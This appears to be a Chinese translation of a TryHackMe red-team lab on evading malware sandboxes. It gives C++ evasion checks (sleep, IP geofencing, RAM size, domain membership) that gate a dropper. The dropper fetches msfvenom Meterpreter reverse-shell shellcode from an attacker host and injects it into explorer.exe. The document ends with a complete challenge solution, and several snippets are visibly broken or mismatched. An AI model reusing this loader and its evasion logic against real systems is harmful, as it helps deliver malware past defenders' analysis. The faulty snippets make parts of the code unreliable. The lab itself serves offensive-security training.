Red Team

Sandbox Evasion

1.An Adversary walks into a Sandbox

(1)什么是恶意软件分析

恶意软件分析是分析可疑文件的过程,以确定它在微观层面(通过查看程序集)和宏观层面(通过查看它在系统上的行为)的行为。此过程使蓝队成员可以更好地了解恶意程序,这可以帮助他们开发检测。

(2)静态与动态分析

蓝队成员可以通过两种方式分析可疑文件;一种方法是使用 IDA 或 Ghidra 等反汇编程序在微观层面上查看代码(如前所述)。这个过程被称为“静态分析”。 另一方面,我们可以通过称为“动态分析”的过程观察可疑文件在系统上执行时会发生什么。系统上通常会安装许多分析工具,例如 EDR Software、Sysmon、ProcMon、Process Hacker 和调试器(例如 OllyDebug、WinDbg、x64Dbg)等等。

(3)沙盒简介

蓝队成员提出的分析可疑文件的最有创意和最有效的方法之一是动态分析。此方法涉及在容器化(或虚拟化)环境中运行文件;该环境称为沙箱。根据选择的沙箱,您也许能够自定义正在运行的 Windows 版本、计算机上安装的软件等等。 沙箱提供了一种安全有效的方法来监视可疑文件在生产系统上运行(或允许将其发送到生产系统)之前的行为。网络的各个部分可能存在许多商业沙箱。

img

在上图中,存在三个不同的沙箱。在企业环境中存在一个、两个甚至三个沙箱的情况并不少见。通常您可能会在以下位置找到它们:

  • Firewalls
  • Mail Servers
  • Workstations

每个沙箱的工作方式可能不同;例如,防火墙可以执行电子邮件中的附件并查看发生何种类型的网络通信,而邮件沙箱可以打开电子邮件并查看电子邮件中的嵌入文件是否触发通过 SMB 等协议进行下载,以尝试窃取 NetNTLM 哈希值,基于主机的防病毒沙箱可以在其中执行该文件并监视恶意编程行为或对系统的更改。 有许多供应商生产各种沙盒产品,蓝队成员可以将其部署在企业网络中。以下是一些流行的例子:

在下一节中,我们将了解恶意软件作者通常部署的各种技术,以了解现有的一些规避技术。 我们提供了一个 Windows 开发虚拟机,您可以在其中开发自己的沙盒规避技术。您可以使用以下凭据访问虚拟机:

2.Common Sandbox Evasion Techniques(常见的沙箱规避技术)

(1)沙盒规避简介

现在您已经大致了解了什么是恶意软件沙箱,我们可以继续学习一些高层次的规避技术。我们将其分为四个不同的类别;在下一个任务中,我们将实施四种不同的规避技术(每个类别一种),因此您可以在离开这个房间时掌握一些实用知识来帮助您的红队行动。 我们将涵盖以下四大类:

  • Sleeping through Sandboxes
  • Geolocation and Geoblocking
  • Checking System Information
  • Querying Network Information

这些技术按从最基本的技术到最先进的顺序排列。让我们开始吧。

(2)Sleeping through Sandboxes

恶意软件沙箱通常会受到时间限制,以防止资源过度分配,这可能会急剧增加沙箱队列。这是我们可以滥用的一个重要方面;如果我们知道沙箱在任何给定时间只会运行五分钟,我们可以实现一个睡眠计时器,在执行 shellcode 之前睡眠五分钟。这可以通过多种方式完成;一种常见的方法是查询当前系统时间,并在并行线程中检查并查看已经过去了多少时间。五分钟过去后,我们的程序就可以开始正常执行了。 另一种流行的方法是进行复杂的、计算量大的数学运算,这可能需要一定的时间 – 例如,计算斐波那契数列达到给定的数字。请记住,根据系统的硬件,执行此操作可能需要或多或少的时间。屏蔽您的应用程序通常是避免反病毒检测的好主意,因此这应该已经包含在您的工具包中。 请注意,某些沙箱可能会改变内置的睡眠功能;各种反病毒供应商都发表了有关绕过内置睡眠功能的博客文章。所以强烈建议您开发自己的睡眠功能。以下是一些有关绕过睡眠功能的博客文章:

(3)Geolocation

沙箱的一个决定性因素是它们通常位于外部并由反病毒提供商托管。如果您知道自己正在攻击一家欧洲公司 TryHackMe,并且您的二进制文件是在加利福尼亚州执行的,那么您可以做出有根据的猜测,该二进制文件最终进入了沙箱。您可以选择在程序上实施地理位置过滤器,检查 IP 地址块是否属于您所定位的公司所有,或者是否来自住宅地址空间。您可以使用多种服务来检查此信息:

IfConfig.me 可用于检索您当前的 IP 地址,其他信息是可选的。将此与 ARIN 的 RDAP 相结合,您可以确定以易于解析的格式 (JSON) 返回的 ISP。需要注意的是,此方法仅在主机可以访问互联网的情况下才有效。某些组织可能会构建特定域的阻止列表,因此您应该 100% 确定此方法适用于您尝试利用此方法的组织。

(4)Checking System Information

另一种非常流行的方法是观察系统信息。大多数沙箱的资源通常会减少。流行的恶意软件沙盒服务 Any.Run 仅为每个虚拟机分配 1 个 CPU 核心和 4GB RAM:

img

Any.Run 中的 SystemInfo 命令的屏幕截图

网络中的大多数工作站通常具有 2-8 个 CPU 内核、8-32GB RAM 和 256GB-1TB+ 驱动器空间。这很大程度上取决于您所针对的组织,但一般来说,您可以期望每个系统有超过 2 个 CPU 核心和超过 4GB 的 RAM。了解这一点后,我们可以定制代码来查询基本系统信息(CPU 核心数量、RAM 数量、磁盘大小等)。

这绝不是一个详尽的列表,但这里有一些您可以过滤的其他示例:

  • 存储介质序列号
  • PC 主机名 BIOS/UEFI 版本/序列号
  • Windows 产品密钥/操作系统版本
  • 网络适配器信息
  • 虚拟化检查
  • 当前登录用户等等!

(5)Querying Network Information

最后一种方法是我们将要介绍的最开放的方法。由于其开放性,它被认为是更高级的方法之一,因为它涉及查询有关 Active Directory 域的信息。 几乎没有恶意软件沙箱加入域中,因此可以相对安全地假设如果计算机未加入域,则它不是正确的目标!但是,您不能总是太确定,因此您应该收集一些有关域的信息以确保安全。您可以查询的对象有很多;以下是一些需要考虑的因素:

  • Computers
  • User accounts
  • Last User Login(s)
  • Groups
  • Domain Admins
  • Enterprise Admins
  • Domain Controllers
  • Service Accounts
  • DNS Servers

这些技术的难度各不相同;因此,您应该考虑要花费多少时间和精力来构建这些规避方法。一个简单的方法,例如检查 LogonServer、LogonUserSid 或 LogonDomain 等项目的系统环境变量(这可以使用 echo %VARIABLE% 完成,或者显示所有变量,使用 set 命令)可能比实现Windows API。

(6)Setting the Stage

现在您已经更好地了解了存在哪些沙盒绕过方法类型,我们将进入下一步并在下一个任务中实现一些沙盒绕过。 在继续下一个任务之前,我们将从一个基本的 dropper 开始,它从 Web 服务器(特别是 /index.raw)检索 shellcode,并将其注入内存,然后执行 shellcode。需要注意的是,所有 shellcode 都必须使用 MSFVenom 以原始格式生成,并且必须是 64 位,而不是 32 位。可以使用以下命令生成。

user@attack-box$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=1337 -f raw -o index.raw
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Saved as: index.raw
user@attack-box$ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.14.212 - - [20/Mar/2022 22:04:22] "GET /index.raw HTTP/1.1" 200 -

然后,shellcode 应通过任何 HTTP 服务器托管在 AttackBox 上。 Python3 的 http.server 模块具有高度可移植性和灵活性,将作为此任务的良好基础。在现实世界中,您可以将 shellcode 托管在 C2 服务器上。出于本实验的目的,我们将使用没有 C2 服务器的 Attackbox。 此任务附加的代码已使用 Visual Studio 2019(或更高版本)进行测试和编译。下载 dropper.cpp 并打开它。请务必注意,第 16、22、24、27 和 33 行中有多个占位符值,您必须更新这些占位符值才能使代码正常运行。更改这些值后,编译 64 位版本的代码。

3.Implementing Various Evasion Techniques(实施各种规避技术)

(1)深入研究沙盒规避

获取此基本代码后,我们将迈出进入沙盒规避世界的第一步。我们将从睡眠开始,因为这是最简单的。

(2)Taking a Nap

我们可以从上一个任务中获取模板代码,并向其中添加一条 120,000MS 的 Sleep 语句。这相当于大约 120 秒或 2 分钟。一般来说,您需要接近 5 分钟的时间才能确定;不过,对于测试目的来说,2 分钟就足够了。我们现在将在主函数中添加 Sleep 语句:

int main() {
   if (isDomainController == TRUE) {
       downloadAndExecute();
  } else {
       cout << "Domain Controller Not Found!";
  }
}

Testing our Code

完成后,我们可以编译代码并将其上传到Any.Run。您可以阅读以下测试,并通过链接查看它们在 Any.Run 上的行为。这将作为我们沙盒规避的测试场,因为它为我们提供了非常详细的信息。回顾两次运行:

并排查看两个结果,我们注意到 Sleepy 运行中没有发生任何活动。

img

Any.Run 的屏幕截图显示我们的睡眠旁路功能按预期工作。

在我们的非休眠运行中,我们可以看到 HTTP 请求发送到 Cloudflare。

img

Any.Run 的屏幕截图显示了我们在未实施沙盒规避技术的情况下的结果

恭喜!我们已经成功创建了第一个沙盒规避技术。虽然这是一项简单的技术,但它的功能却非常强大,使我们能够用完 Any.Run 的一分钟计时器。正如上一个任务中所述,此方法可能有效,也可能无效,因为已发布的各种博客文章显示蓝队可以创建睡眠计时器旁路。更好的实现方式是通过大量的数学运算来浪费计算时间。

(3)地理位置过滤

转向我们在沙箱上逃避 shellcode 执行的下一个方法,我们将利用地理位置块。幸运的是,我们将能够利用大量已经为我们编写的代码。为此可以重复使用“downloadAndExecute()”函数的部分内容。我们将重用以下组件:

  • Website URL (formerly the c2URL variable)
  • Internet Stream (formerly the stream variable)
  • String variable (formerly the s variable)
  • Buffer Space (formerly the Buff variable)
  • Bytes Read (formerly the unsigned long bytesRead variable)
  • Lastly, the URLOpenBlockingStreamA function

将其集成到我们的代码中

这转化为一个看起来像这样的实际函数:

BOOL checkIP() {  
// Declare the Website URL that we would like to vicit
   const char* websiteURL = "<https://ifconfig.me/ip>";  
// Create an Internet Stream to access the website
   IStream* stream;  
// Create a string variable where we will store the string data received from the website
   string s;  
 // Create a space in memory where we will store our IP Address
   char buff[35];  
   unsigned long bytesRead;  
// Open an Internet stream to the remote website
   URLOpenBlockingStreamA(0, websiteURL, &stream, 0, 0);  
// While data is being sent from the webserver, write it to memory
   while (true) {      
       stream->Read(buff, 35, &bytesRead);      
       if (0U == bytesRead) {          
           break;      
      }      
       s.append(buff, bytesRead);  
  }  
 // Compare if the string is equal to the targeted victim's IP. If true, return the check is successful. Else, fail the check.
   if (s == "VICTIM_IP") {      
       return TRUE;  
  }  
   else {      
   return FALSE;  
  }
}

该代码可以分为以下步骤:

  1. 声明上面提到的所需变量。
  2. 使用 URLOpenBlockingStreamA 函数打开 ifconfig.me/ip 的互联网流以检查当前的 IP 地址。
  3. 将URLOpenBlockingStreamA函数返回的数据流写入内存。将内存缓冲区中的数据附加到字符串变量。
  4. 检查字符串数据是否等于受害者的 IP 地址。
  5. 如果为 True,则返回 TRUE;如果为 False,则返回 FALSE。

现在我们必须修改我们的 main 函数,以便我们可以利用新创建的函数:

int main(){
   if(checkIP() == TRUE){
       downloadAndExecute();
       return 0;
  }
   else {
       cout << "HTTP/418 - I'm a Teapot!";
       return 0;
  }
}

上面的代码调用新函数 checkIP(),如果 IP 地址返回 TRUE,则调用 downloadAndExecute() 函数从我们的 C2 服务器调用 shellcode。如果为 FALSE,则返回 HTTP/418 – I’m a teapot!”.

Testing Our Code

现在我们已经完成了第二种沙盒规避技术,了解这是威胁行为者使用的极其常见的 TTP 非常重要。 APT 和红队都经常使用服务来检查 IP 地址的“滥用信息”,以收集有关 IP 地址的信息,以确定其是否是合法公司。 Any.Run 非常了解这种反沙盒技术,甚至在我们的实例中对其进行了标记。您可以在以下链接中查看详细结果:

查看这两个结果,我们可以看到 ifconfig.me 被标记为“可疑/潜在恶意”站点,用于检查您的外部 IP 地址。事实上,这种沙盒规避方法最终损害了我们的分数,因此它应该用作最后的手段或与最近部署/自定义 IP 地址检查服务器一起使用。完整的报告可以在这里找到。

img

Any.Run 的屏幕截图显示了我们应用沙盒规避技术的运行情况

img

Any.Run 的屏幕截图显示出站 HTTP 请求

正如您现在所知,并非所有沙箱转义技术在某些情况下都可能有帮助;您必须仔细挑选要实施的规避技术,因为有些技术可能弊大于利。

(4)查看系统信息

我们将从系统信息类别开始 – 系统拥有的 RAM 量。值得注意的是,Windows 以非标准格式测量数据。如果你曾经购买过一台声称拥有“256GB SSD 存储空间”的电脑,那么在打开它之后,你的存储空间将接近 240GB。这是因为 Windows 以 1024 字节为单位而不是 1000 字节来测量数据。请注意,这很快就会变得非常混乱。对我们来说幸运的是,我们将在如此少量的内存中工作,以至于准确性可以是“最佳猜测”而不是确切的数字。现在我们知道了这一点,我们如何确定系统上安装了多少内存?

检查系统内存

幸运的是,这是一个相对容易发现的事情。我们只需要包含 Windows 头文件,就可以调用特定的 Windows API GlobalMemoryStatusEx 来为我们检索数据。要获取此信息,我们必须声明 MEMORYSTATUSEX 结构;然后,我们必须将 dwLength 成员的大小设置为结构的大小。完成后,我们可以调用 GlobalMemoryStatusEx Windows API 以使用内存信息填充该结构。 在这种情况下,我们对系统上安装的物理内存总量特别感兴趣,因此我们将打印 MEMORYSTATUSEX 结构体的 ullTotalPhys 成员,以获取系统中安装的内存大小(以字节为单位)。然后,我们可以除以 1024 3x 以获得安装的内存值(以 GiB 为单位)。现在让我们看看这在 C++ 中是什么样子的:

#include <iostream>
#include <Windows.h>
using namespace std;
int main() {
// Declare the MEMORYSTATUSEX Struct    
  MEMORYSTATUSEX statex;
// Set the length of the struct to the size of the struct    
  statex.dwLength = sizeof(statex);
// Invoke the GlobalMemoryStatusEx Windows API to get the current memory info    
  GlobalMemoryStatusEx(&statex);
// Print the physical memory installed on the system    
  cout << "There is " << statex.ullTotalPhys/1024/1024/1024 << "GiB of memory on the system.";
}

该代码可以分为以下步骤:

  1. 我们将声明 MEMORYSTATUSEX 结构;这将使用来自 GlobalMemoryStatusEx WinAPI 的信息进行填充。
  2. 现在,我们必须设置结构的长度,以便我们可以用数据填充它。为此,我们将使用 sizeof 函数。
  3. 现在我们已经知道了结构体的长度,我们可以用 GlobalMemoryStatusEx WinAPI 中的数据填充它。
  4. 我们现在可以从系统中读取总内存量。

将其集成到我们的代码中

现在我们已经掌握了技术知识,我们应该将此检查集成到我们的代码中。一般来说(您应该自己验证这一点),大多数沙箱都有4GB专用于机器的RAM,因此我们应该检查内存数是否大于5;如果不是,则退出程序;如果是,则继续执行。我们将不再修改 downloadAndExecute 函数;从现在开始,我们将添加新功能并更改主要功能。

BOOL memoryCheck() {
// This function will check and see if the system has 5+GB of RAM
// Declare the MEMORYSTATUSEX Struct    
   MEMORYSTATUSEX statex;
// Set the length of the struct to the size of the struct    
   statex.dwLength = sizeof(statex);
// Invoke the GlobalMemoryStatusEx Windows API to get the current memory info    
   GlobalMemoryStatusEx(&statex);
// Checks if the System Memory is greater than 5.00GB    
   if (statex.ullTotalPhys / 1024 / 1024 / 1024 >= 5.00) {        
      return TRUE;    
  } else {        
      return FALSE;
  }
}

int main() {
// Evaluates if the installed RAM amount is greater than 5.00 GB,
//if true download Shellcode, if false, exit the program.    
if (memoryCheck() == TRUE) {        
   downloadAndExecute();    
  } else {        
      exit;    
  }
return 0;
}

该代码可以分为以下步骤:

  1. 我们正在创建一个新函数(memoryCheck),它将返回 True 或 False。
  2. 我们使用上面的代码来获取系统内存的大小。
  3. 我们检查系统内存是否大于5GB;如果为真,我们返回 TRUE;如果为假,我们返回FALSE。
  4. 函数返回的值决定我们是否下载并执行阶段 2。

测试我们的代码

现在我们已经完成了第三种沙盒规避方法中的第二种,重要的是我们对其进行测试以确保其有效。为此,我们将文件上传到 Any.Run

并排查看两个样本会发现一些有趣的差异;在第一次提交中,我们的内存检查功能工作正常,没有任何问题,并在发现设备的 RAM 小于 5GB 时优雅地退出程序。

img

Any.Run 的屏幕截图,验证我们的内存检查功能是否按预期工作

在我们未经修改的原始代码中,我们可以看到 HTTP GET 请求发送到 AWS Web 服务器以获取第二阶段。

img

Any.Run 的屏幕截图显示出站 HTTP 请求

这表明我们的代码按预期运行!现在,我们可以继续讨论最后的绕过类别之一 – 查询网络信息。

(5)查询网络信息

对于我们的最后一种规避技术,我们将查询有关 Active Directory 域的信息。我们将通过使用 NetGetDCName Windows API 查询域控制器的名称来保持简单。这是一个相对简单的 Windows API,用于获取环境中的主域控制器。这要求我们指定一个指向要放入的 DC 名称的字符串的指针。在 C++ 中实现该函数如下所示:

BOOL isDomainController(){
// Create a long pointer to Wide String for our DC Name to live in
   LPCWSTR dcName;  
// Query the NetGetDCName Win32 API for the Domain Controller Name
   NetGetDCName(NULL, NULL, (LPBYTE *) &dcName);
// Convert the DCName from a Wide String to a String
   wstring ws(dcName);
   string dcNewName(ws.begin(), ws.end());
// Search if the UNC path is referenced in the dcNewName variable. If so, there is likely a Domain Controller present in the environment. If this is true, pass the check, else, fail.
   if ( dcNewName.find("\\\\"){
         return TRUE;
  } else {
         return FALSE;
  }
}

该代码可以分为以下步骤:

  1. 声明两个变量;一个字符串,一个 LPCWSTR。 NetGetDCName WinAPI 仅返回 LPCWSTR。
  2. 调用 NetGetDCName Windows API。将指定两个空值,因为我们不知道我们可能所处环境的服务器名称或域名
  3. 我们将 LPCWSTR 转换为普通字符串变量以检查该值是否为 NULL(或者,在一个字符串,“”)。
  4. 执行比较语句并根据设备名称返回 True 或 False。

然后,这将回调 Main() 函数,该函数将评估是否需要从 C2 服务器下载并执行我们的 shellcode。 Main 函数现在看起来像这样:

int main() {
   if (isDomainController == TRUE) {
       downloadAndExecute();
  } else {
       cout << "Domain Controller Not Found!";
  }
}

测试我们的代码

对于我们最后的沙盒分析,我们将使用 VirusTotal。查看 SysInternals Sandbox 的结果,我们可以看到我们的 Sandbox 规避技术有效。未向 Cloudflare 发出出站请求。

img

上面的屏幕截图显示我们的恶意软件没有到达我们的 C2 服务器。

img

上面的屏幕截图显示我们的恶意软件在第二阶段到达了我们的 C2 服务器。

(6)在 Visual Studio 中添加外部依赖项

对于最终的规避方法,我们必须在项目文件中添加一个新的DLL。为此,请确保首先打开您的项目。打开后,在“解决方案资源管理器”中右键单击项目名称。在下图中,项目名称称为“Console Application2”:

img

单击列表底部的“属性”;这将打开一个新的视野。展开“链接器”选项卡并选择“输入”子菜单。我们有兴趣添加 Netapi32 库。

img

为此,请单击右侧引用的所有库并添加 Netapi32.lib。添加后(如上面的屏幕截图所示),按“应用”按钮和“确定”关闭窗口,您就可以继续开发了!

(7)总结实施

现在您已经更熟悉了各种沙盒规避技术的实施,我们将在下一个任务中继续进行沙盒规避挑战。您将需要将多个旁路集成在一起以逃避“自定义”TryHackMe 沙箱。所有源代码均已完整提供,以帮助那些可能不熟悉 C++ 的人。

4.DIY Sandbox Evasion Challenge

(1)The Great Escape

现在您已经获得了一些逃离沙盒的经验,是时候接受挑战了!在本任务中,您将利用任务 4 中的代码来实现“终极沙盒逃避”方法来逃避 TryHackMe 的沙盒程序!为了逃离沙盒,您必须实施以下技术:

  • Check and see if the device is joined to an Active Directory Domain
  • Check if the system memory is greater than 1GB of RAM
  • Implement an outbound HTTP request to 10.10.10.10
  • Implement a 60-second sleep timer before your payload is retrieved from your web server

如果您的dropper满足上述要求,则会向您打印该标志。 祝好运并玩得开心点!提醒一下,任务 4 包含四个示例中的可下载源代码,可以帮助您使用沙盒规避技术。此材料也可以在虚拟机上的 C:\Users\Administrator\Desktop\Materials 中找到。 沙盒规避技术可能会失败。该程序分析二进制文件以查看是否执行了检查。出站设备可能无法访问互联网 – 只要执行检查,沙箱检查就应该成功。

(2)Sandbox Evasion Binary(沙盒规避二进制文件)

当您完成有效负载的开发并准备好测试您的规避方法时,您可以在 C:\Users\Administrator\Desktop\Materials\SandboxChecker.exe 中找到二进制文件来检查您的植入程序。下面是一个向您展示该程序如何工作的示例:

C:\Users\Administrator\Desktop\Materials\> .\SandboxChecker.exe C:\Users\TryHackMe\Materials\SandboxEvasion.exe
[+] Memory Check found!
[+] Network Check found!
[+] GeoFilter Check found!
[+] Sleep Check found!
Congratulations! Here is your flag:
#include <iostream>
#include <Windows.h>
#include <tlhelp32.h>
#include <locale>
#include <string>
#include <urlmon.h>
#include <cstdio>
#include <lm.h>
#include <DsGetDC.h>
#pragma comment(lib, "netapi32.lib")
#pragma comment(lib, "urlmon.lib")

using namespace std;

int downloadAndExecute()
{
   HANDLE hProcess;
//Update the dwSize variable with your shellcode size. This should be approximately 510 bytes
   SIZE_T dwSize = 510;
   DWORD flAllocationType = MEM_COMMIT | MEM_RESERVE;
   DWORD flProtect = PAGE_EXECUTE_READWRITE;
   LPVOID memAddr;
   SIZE_T bytesOut;
//Update the OpenProcess Windows API with your Explorer.exe Process ID. This can be found in Task Manager
   hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 616);
//Update the c2URL with your IP Address and the specific URI where your raw shellcode is stored.
   const char* c2URL = "http://yourip/10.10.49.21:8000";
   IStream* stream;
//Update the buff[] variable to include your shellcode size
   char buff[510];
   unsigned long bytesRead;
   string s;
   URLOpenBlockingStreamA(0, c2URL, &stream, 0, 0);
   while (true) {
//Update the Read file descriptor to include your shellcode size
       stream->Read(buff, 510, &bytesRead);
       if (0U == bytesRead) {
           break;
      }
       s.append(buff, bytesRead);
  }
   memAddr = VirtualAllocEx(hProcess, NULL, dwSize, flAllocationType, flProtect);

   WriteProcessMemory(hProcess, memAddr, buff, dwSize, &bytesOut);

   CreateRemoteThread(hProcess, NULL, dwSize, (LPTHREAD_START_ROUTINE)memAddr, 0, 0, 0);
   stream->Release();
   return 0;
}

BOOL isDomainController() {
   LPCWSTR dcName;
   string dcNameComp;
   NetGetDCName(NULL, NULL, (LPBYTE*)&dcName);
   wstring ws(dcName);
   string dcNewName(ws.begin(), ws.end());
   cout << dcNewName;
   if (dcNewName.find("\\")) {
       return FALSE;

  }
   else {
       return TRUE;
  }
}

BOOL memoryCheck() {
   MEMORYSTATUSEX statex;
   statex.dwLength = sizeof(statex);
   GlobalMemoryStatusEx(&statex);
   if (statex.ullTotalPhys / 1024 / 1024 / 1024 >= 1.00) {
       return TRUE;
  }
   else {
       return FALSE;
  }
}

BOOL checkIP()
{
   const char* websiteURL = "https://ifconfig.me/10.10.10.10";
   IStream* stream;
   string s;
   char buff[35];
   unsigned long bytesRead;
   URLOpenBlockingStreamA(0, websiteURL, &stream, 0, 0);
   while (true) {
       stream->Read(buff, 35, &bytesRead);
       if (0U == bytesRead) {
           break;
      }
       s.append(buff, bytesRead);
  }
   if (s == "VICTIM_IP") {
       return TRUE;
  }
   else {
       return FALSE;
  }
}

int main() {
   Sleep(60000);
   if (isDomainController() == TRUE) {
       if (memoryCheck() == TRUE)
           if (checkIP() == TRUE)
    downloadAndExecute();
   return 0;
}